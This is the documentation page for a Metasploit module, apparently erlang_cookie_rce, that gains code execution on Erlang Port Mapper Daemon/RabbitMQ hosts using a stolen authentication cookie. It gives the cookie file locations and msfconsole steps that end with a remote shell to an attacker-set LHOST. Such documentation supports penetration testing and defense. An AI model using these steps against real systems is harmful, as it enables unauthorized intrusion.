Vulnerable Application
The Erlang Port Mapper Daemon is used to coordinate distributed erlang
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
as well as its configuration. As an example on a Windows 10 instance it can be found under the
users home directory: e.g C:\Users\<USER>\.erlang.cookie. Code execution is achieved via the
os:cmd('cmd'). command
Verification Steps
- Install the Erlang Port Mapper Daemon
- Install RabbitMQ
- Start
msfconsole - Do
use exploit/multi/misc/erlang_cookie_rce - Do
set RHOST <ip> - Do
set COOKIE <cookie> - Do
set TARGET <target> - Do
set LHOST <host> exploitand verify shell is opened (if on windows login)
